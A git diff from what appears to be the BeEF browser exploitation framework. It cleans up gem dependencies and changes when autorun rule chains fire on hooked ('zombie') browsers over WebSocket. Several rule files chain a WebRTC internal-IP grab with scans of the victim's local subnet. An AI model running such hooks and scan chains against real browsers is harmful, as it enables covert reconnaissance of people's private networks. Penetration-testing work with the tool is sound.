diff --git a/Gemfile.lock b/Gemfile.lock index 0cedac9f3..a28892057 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,28 +3,10 @@ GEM specs: addressable (2.4.0) ansi (1.5.0) - atk (3.0.7) - glib2 (= 3.0.7) - bundler-audit (0.5.0) - bundler (~> 1.2) - thor (~> 0.18) - cairo (1.14.3) - pkg-config (>= 1.1.5) - capybara (2.6.2) - addressable - mime-types (>= 1.16) - nokogiri (>= 1.3.3) - rack (>= 1.0.0) - rack-test (>= 0.5.4) - xpath (~> 2.0) - childprocess (0.5.9) - ffi (~> 1.0, >= 1.0.11) chunky_png (1.3.5) - curb (0.9.1) daemons (1.2.3) data_objects (0.10.17) addressable (~> 2.1) - diff-lcs (1.2.5) dm-core (1.2.1) addressable (~> 2.3) dm-do-adapter (1.2.0) @@ -43,8 +25,6 @@ GEM do_sqlite3 (~> 0.10.6) do_sqlite3 (0.10.17) data_objects (= 0.10.17) - domain_name (0.5.20160310) - unf (>= 0.0.5, < 1.0.0) em-websocket (0.3.8) addressable (>= 2.1.1) eventmachine (>= 0.12.9) @@ -52,141 +32,53 @@ GEM eventmachine (1.0.9.1) execjs (2.6.0) fastercsv (1.5.5) - ffi (1.9.10) - gdk_pixbuf2 (3.0.7) - glib2 (= 3.0.7) geoip (1.6.1) - glib2 (3.0.7) - pkg-config - gtk2 (3.0.7) - atk (= 3.0.7) - gdk_pixbuf2 (= 3.0.7) - pango (= 3.0.7) - hoe (3.15.0) - rake (>= 0.8, < 12.0) - http-cookie (1.0.2) - domain_name (~> 0.5) - jar_wrapper (0.1.8) - zip json (1.8.3) json_pure (1.8.3) librex (0.0.999) - libv8 (3.11.8.17) mime-types (2.99.1) - mini_portile2 (2.0.0) mojo_magick (0.5.6) msfrpc-client (1.0.3) librex (~> 0.0.70, >= 0.0.70) msgpack (~> 0.5.8, >= 0.5.8) msgpack (0.5.12) multi_json (1.11.2) - netrc (0.11.0) - nokogiri (1.6.7.2) - mini_portile2 (~> 2.0.0.rc2) - pango (3.0.7) - cairo (>= 1.14.0) - glib2 (= 3.0.7) parseconfig (1.0.8) - pkg-config (1.1.7) - power_assert (0.2.7) qr4r (0.4.0) mojo_magick rqrcode rack (1.6.4) rack-protection (1.5.3) rack - rack-test (0.6.3) - rack (>= 1.0) rainbow (2.1.0) - rake (11.1.1) - ref (2.0.0) - rest-client (1.8.0) - http-cookie (>= 1.0.2, < 2.0) - mime-types (>= 1.16, < 3.0) - netrc (~> 0.7) rexec (1.6.3) rainbow rqrcode (0.10.1) chunky_png (~> 1.0) - rr (1.1.2) - rspec (3.4.0) - rspec-core (~> 3.4.0) - rspec-expectations (~> 3.4.0) - rspec-mocks (~> 3.4.0) - rspec-core (3.4.4) - rspec-support (~> 3.4.0) - rspec-expectations (3.4.0) - diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.4.0) - rspec-mocks (3.4.1) - diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.4.0) - rspec-support (3.4.1) rubydns (0.7.0) eventmachine (~> 1.0.0) rexec (~> 1.6.2) rubyzip (1.2.0) - selenium (0.2.11) - jar_wrapper - selenium-webdriver (2.53.0) - childprocess (~> 0.5) - rubyzip (~> 1.0) - websocket (~> 1.0) sinatra (1.4.7) rack (~> 1.5) rack-protection (~> 1.4) tilt (>= 1.3, < 3) term-ansicolor (1.3.2) tins (~> 1.0) - test-unit (3.1.8) - power_assert - test-unit-full (0.0.3) - test-unit - test-unit-notify - test-unit-rr - test-unit-runner-fox - test-unit-runner-gtk2 - test-unit-runner-tk - test-unit-notify (1.0.4) - test-unit (>= 2.4.9) - test-unit-rr (1.0.5) - rr (>= 1.1.1) - test-unit (>= 2.5.2) - test-unit-runner-fox (0.0.1) - hoe (>= 1.6.0) - test-unit-runner-gtk2 (0.0.2) - gtk2 - test-unit - test-unit-runner-tk (0.0.1) - hoe (>= 1.6.0) - therubyracer (0.11.3) - libv8 (~> 3.11.8.12) - ref thin (1.6.4) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (~> 1.0) - thor (0.19.1) tilt (2.0.2) tins (1.9.0) uglifier (3.0.0) execjs (>= 0.3.0, < 3) - unf (0.1.4) - unf_ext - unf_ext (0.0.7.2) - websocket (1.2.2) - xpath (2.0.0) - nokogiri (~> 1.3) - zip (2.0.2) PLATFORMS ruby DEPENDENCIES ansi - bundler-audit - capybara - curb data_objects dm-core dm-migrations @@ -195,7 +87,6 @@ DEPENDENCIES em-websocket (~> 0.3.6) erubis eventmachine - execjs geoip json mime-types @@ -203,17 +94,10 @@ DEPENDENCIES parseconfig qr4r rack - rest-client (~> 1.8.0) - rspec rubydns (= 0.7.0) rubyzip (>= 1.0.0) - selenium - selenium-webdriver sinatra term-ansicolor - test-unit - test-unit-full - therubyracer (= 0.11.3) thin uglifier diff --git a/arerules/c_osx_webrtc-internalip.json b/arerules/c_osx_webrtc-internalip.json deleted file mode 100644 index 0059a07da..000000000 --- a/arerules/c_osx_webrtc-internalip.json +++ /dev/null @@ -1,28 +0,0 @@ -{"name": "Get Internal IP (WebRTC)", - "author": "antisnatchor", - "browser": "C", - "browser_version": "ALL", - "os": "OSX", - "os_version": "ALL", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "internal_network_fingerprinting", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", - "options": { - "ipRange":"<>", - "ports":"80", - "threads":"5", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0,1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/lan_cors_scan.json b/arerules/lan_cors_scan.json index 0bfec4f57..b2e4cb992 100644 --- a/arerules/lan_cors_scan.json +++ b/arerules/lan_cors_scan.json @@ -12,7 +12,7 @@ }, {"name": "cross_origin_scanner_cors", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_fingerprint.json b/arerules/lan_fingerprint.json index 744adb9a3..7d9eb679c 100644 --- a/arerules/lan_fingerprint.json +++ b/arerules/lan_fingerprint.json @@ -12,7 +12,7 @@ }, {"name": "internal_network_fingerprinting", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_flash_scan.json b/arerules/lan_flash_scan.json index 85482e4c9..cac6f0a31 100644 --- a/arerules/lan_flash_scan.json +++ b/arerules/lan_flash_scan.json @@ -12,7 +12,7 @@ }, {"name": "cross_origin_scanner_flash", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json index 576fa6429..6902b3ab9 100644 --- a/arerules/lan_http_scan.json +++ b/arerules/lan_http_scan.json @@ -12,7 +12,8 @@ }, {"name": "get_http_servers", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + //"code": "var mod_input='10.0.60.13-10.0.60.19';", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/config.yaml b/config.yaml index 8c6ae0dc9..e7311f9ff 100644 --- a/config.yaml +++ b/config.yaml @@ -68,6 +68,7 @@ beef: secure: true secure_port: 61986 # WSSecure ws_poll_timeout: 1000 # poll BeEF every second + ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 82f3753d9..53d74838c 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -24,6 +24,14 @@ module BeEF @VERSION_STR = ['XP','Vista'] end + # Check if the hooked browser type/version and OS type/version match any Rule-sets + # stored in the BeEF::Core::AutorunEngine::Models::Rule database table + # If one or more Rule-sets do match, trigger the module chain specified + def run(hb_id, browser_name, browser_version, os_name, os_version) + are = BeEF::Core::AutorunEngine::Engine.instance + match_rules = are.match(browser_name, browser_version, os_name, os_version) + are.trigger(match_rules, hb_id) if match_rules.length > 0 + end # Prepare and return the JavaScript of the modules to be sent. # It also updates the rules ARE execution table with timings diff --git a/core/main/client/init.js b/core/main/client/init.js index 991c622e3..a14e6bd01 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -64,11 +64,14 @@ window.onclose = function (event) { function beef_init() { if (!beef.pageIsLoaded) { beef.pageIsLoaded = true; + beef.net.browser_details(); + if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') { - beef.websocket.start(); - beef.net.browser_details(); - beef.updater.execute_commands(); - beef.logger.start(); + setTimeout(function(){ + beef.websocket.start(); + beef.updater.execute_commands(); + beef.logger.start(); + }, parseInt(beef.websocket.ws_connect_timeout)); }else { beef.net.browser_details(); beef.updater.execute_commands(); diff --git a/core/main/client/net.js b/core/main/client/net.js index 5ddb693c8..68fa999b1 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -502,8 +502,13 @@ beef.net = { */ browser_details: function () { var details = beef.browser.getDetails(); + var res = null; details['HookSessionID'] = beef.session.get_hook_session_id(); this.send('/init', 0, details); + if(details != null) + res = true; + + return res; } }; diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index b7a5f3d64..a1826890d 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -17,6 +17,7 @@ beef.websocket = { socket:null, ws_poll_timeout: "<%= @ws_poll_timeout %>", + ws_connect_timeout: "<%= @ws_connect_timeout %>", /** * Initialize the WebSocket client object. @@ -85,7 +86,7 @@ beef.websocket = { */ alive: function (){ beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); - setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout); + setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout)); } }; diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 4d6e02096..abe4cc485 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -371,13 +371,11 @@ module BeEF BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName')) end - # Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets - # stored in the BeEF::Core::AutorunEngine::Models::Rule database table - # If one or more Rule-sets do match, trigger the module chain specified - # - are = BeEF::Core::AutorunEngine::Engine.instance - match_rules = are.match(browser_name, browser_version, os_name, os_version) - are.trigger(match_rules, zombie.id) if match_rules.length > 0 + # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel + # is WebSockets, then ARe rules are triggered after channel is established. + unless config.get("beef.http.websocket.enable") + BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) + end end def get_param(query, key) @@ -390,3 +388,4 @@ module BeEF end end + diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 6f9cb627a..c484fbda9 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -105,6 +105,7 @@ module BeEF hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") + hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a4b4fabcb..f83e665a5 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -58,6 +58,18 @@ module BeEF #insert new connection in activesocket @@activeSocket["#{msg_hash["cookie"]}"] = ws print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + + hb_session = msg_hash["cookie"] + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hb_session) + if hooked_browser != nil + browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserVersion') + os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsName') + os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsVersion') + BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) + else + print_error "WebSocket - Fingerprinting not finished yet. ARE rules were not triggered. You may want to trigger them manually via RESTful API." + end elsif msg_hash["alive"] != nil hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) unless hooked_browser.nil? @@ -96,6 +108,7 @@ module BeEF end rescue => e print_error "WebSocket - something wrong in msg handling - skipped: #{e}" + print_debug "WebSocket - something wrong in msg handling - skipped: #{e.backtrace}" end } rescue => e